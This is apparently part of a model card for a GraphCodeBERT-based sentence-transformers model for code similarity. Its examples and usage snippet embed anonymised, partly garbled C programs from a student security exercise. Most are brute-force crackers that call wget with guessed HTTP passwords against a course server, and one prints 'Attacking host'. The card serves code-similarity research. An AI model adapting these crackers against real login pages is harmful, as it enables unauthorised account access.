               char *word = calloc(mode, 1);
               word[0]=alphabet[i];
               word[1]=alphabet[j];
               word[2]=alphabet[k++];
               word[3]='\0';
               return word;
             }
           }
           return NULL;
        }



        int main(int argc, char **argv)

        {
          
          int wait_status=0, i=0, j=0, num_threads=0;
          int partition=0, prev_min=0, prev_max=0;
          int len=0;
          char *word; range *;
          pthread_t tid[MAX_THREADS];
          int non_alpha_detected=0;

          
          if(argc<3)
          {
            puts("Incorrect usage!");
            puts("./brute num_threads url");
            exit(EXIT_FAILURE);
          }

          
          strcpy(host, argv[2]);

          
          num_threads=atoi(argv[1]);

          
          combination = (char **)calloc(MAX_COMBO, sizeof(char *));

          printf("Process ID for the  thread is: %d\n", getpid());
          printf("Creating brute-force dictionary ... ");
          
          
          while( (word=getNextCombination())!= NULL && i<MAX_COMBO)
          {
            combination[i]=calloc(strlen(word)+1, sizeof(char));
            strcpy(combination[i++], word);
            combo_entries++;
          }
          puts("");
          j=0;

          
          partition=combo_entries/num_threads;

          
          if(partition==0)
          {
            puts("Reducing the number of threads  match the number of words.");
            num_threads=combo_entries;
            partition=1;
          }

          
          prev_min=0;
          prev_max=partition;
          i=0;

          memset(&, 0, sizeof(struct timeval));
          memset(&stop, 0, sizeof(struct timeval));

          
          while(i<num_threads && i<MAX_THREADS)
          {
            
            =malloc(sizeof(struct range));
            ->=prev_min;
            ->=prev_max;

            
            pthread_mutex_lock(&thread_lock);
              thread_ready_indicator=false;
            pthread_mutex_unlock(&thread_lock);

            
            if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");

            
            pthread_mutex_lock(&thread_lock);
              while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
            pthread_mutex_unlock(&thread_lock);

            
            prev_min+=partition+1;

            
            if(i==num_threads)
            {
              prev_max=combo_entries;
            }
            else
            {
              prev_max+=partition+1;
            }
          }

          
          gettimeofday(&, NULL);

          
          pthread_mutex_lock(&thread_lock);
            thread_start_indicator=true;
          pthread_mutex_unlock(&thread_lock);

          
          pthread_cond_broadcast(&start_hacking);

          
          printf("Created %d threads  process %d passwords\n", num_threads, combo_entries);
          printf("Attacking host: %s\n", host);
          fflush(stdout);

          
          for(i=0; i<num_threads && i<MAX_THREADS; i++)  pthread_join(tid[i], NULL);

          gettimeofday(&stop, NULL);

          
          puts("Could not determine the password for this site.");
          printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
          attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
          fflush(stdout);

          
          for(i=0; i<combo_entries; i++) (combination[i]);
          (*combination);

          return EXIT_SUCCESS;
        }

      - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n#include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\tint        , end;\n\tFILE           *fp;\n\tint             i, j;\n\tchar            input;\n\tchar            password[30];\n\tint             check;\n\n\tfloat           total_time;\n\tint             number;\n\t = time();\n\n\n\tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error : Failed  open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i] = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password) <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var  %f / %d = %f\\n\", total_time, number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar            url1[255], url2[255], [255];\n\tint             rettype;\n\trettype = 0;\n\tstrcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2, \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\tstrcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n"
  - source_sentence: |
      #include<stdio.h>
      #include<stdlib.h>

      int ()
      {

      FILE *fin1;
      FILE *fin2;
      int flag=0;


      while(1)
      {
          
              system("wget -p http://www.cs.rmit.edu./students");

              system("cd www.cs.rmit.edu./");

          
          
         if(flag>0)
         {
          
          fin1=fopen("./watchtext/index.html","r");
          fin2=fopen("./watchtext/test2.txt","r");
          system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");
          system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");
          system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");
          system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");
          system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");
          system("rm ./www.cs.rmit.edu./test2.txt");
                 
          fclose(fin2);
          fclose(fin1);   
         }    
        
          if(flag==0)
          {
           system("mkdir watchtext");     
           if((fin1=fopen("./watchtext/index.html","r"))==NULL)
           {
            system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");
            system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");
            
            flag++;
            }
           
         } 
          
        
        
         printf("Running every 24 hours");     
        sleep(86400); 
        
      }
       system("rmdir ./watchtext");      
      }       
             
             
             
             
    sentences:
      - "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\tchar add[100];\n\tstrcpy(add,\"wget --http-user= --http-passwd=    -nv  -o log http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf(\"%c %c %c\\n\",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen(\"log\",\"r\");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf(\"%s\",s);\t\t\n\t\t\t\tif(strcmp(s,\"Authorization failed.\\n\")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf(\"\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d\",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen(\"log\",\"r\");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf(\"%s\",s);\n\t\t\t\tif(strcmp(s,\"Authorization failed.\\n\")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf(\"\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d\",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t  \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen(\"log\",\"r\");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf(\"%s\",s);\n\t\t\t\tif(strcmp(s,\"Authorization failed.\\n\")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf(\"\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d\",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf(\"\\n PASSWORD NOT FOUND\");\n\treturn SUCCESS;\n  \n}\n\nint smallPass()\n{\n\tchar [26] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};\t\n\tchar pass[3]=\"\";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf(\"\\n Trial  %d  ---  %s \",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds)  find the Password\\n\",final,(double) final / SECONDS);\n\t\t\t\t\tprintf(\"\\nPASSWORD FOUND   --   %s\",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf(\"\\n Trial  %d  ---  %s \",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds)  find the Password\\n\",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf(\"\\nPASSWORD FOUND   --   %s\",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]='\\0';\n\t\t\t\t\t\tprintf(\"\\n Trial  %d  ---  %s \",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds)  find the Password\\n\",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf(\"\\nPASSWORD FOUND   --   %s\",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\t\n\tchar pass[3]=\"\";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf(\"\\n Trial  %d  ---  %s \",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds)  find the Password\\n\",final,(double) final / SECONDS);\n\t\t\t\t\tprintf(\"\\nPASSWORD FOUND   --   %s\",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf(\"\\n Trial  %d  ---  %s \",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds)  find the Password\\n\",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf(\"\\nPASSWORD FOUND   --   %s\",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]='\\0';\n\t\t\t\t\t\tprintf(\"\\n Trial  %d  ---  %s \",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds)  find the Password\\n\",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf(\"\\nPASSWORD FOUND   --   %s\",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]=\"\";\t\n\tchar [50]=\"\";\n\tstrcpy(var,\"wget --non-verbose --http-user= --http-passwd=\");\t\t\n\tstrcpy(,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n"
      - "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,\"wget --http-user= --http-passwd=\");\n   strcpy(str2,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n   strcpy(tempstr,\"\");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,\"\"); \n       strcpy(passwd,\"\");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,\"\"); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,\"\"); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch='a';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]='\\0';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch='A';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf(\"\\nPassword is %s\\n\",passwd); \n      getpid();\n      end = time(); \n      printf(\"Time required = %lld msec\\n\",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on microsoft/graphcodebert-base

This is a sentence-transformers model finetuned from microsoft/graphcodebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/graphcodebert-base
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
    '#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n    \n        system("wget -p http://www.cs.rmit.edu./students");\n\n        system("cd www.cs.rmit.edu./");\n\n    \n    \n   if(flag>0)\n   {\n    \n    fin1=fopen("./watchtext/index.html","r");\n    fin2=fopen("./watchtext/test2.txt","r");\n    system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n    system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n    system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n    system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n    system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n    system("rm ./www.cs.rmit.edu./test2.txt");\n           \n    fclose(fin2);\n    fclose(fin1);   \n   }    \n  \n    if(flag==0)\n    {\n     system("mkdir watchtext");     \n     if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n     {\n      system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n      system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n      \n      flag++;\n      }\n     \n   } \n    \n  \n  \n   printf("Running every 24 hours");     \n  sleep(86400); \n  \n}\n system("rmdir ./watchtext");      \n}       \n       \n       \n       \n       \n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n  \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," 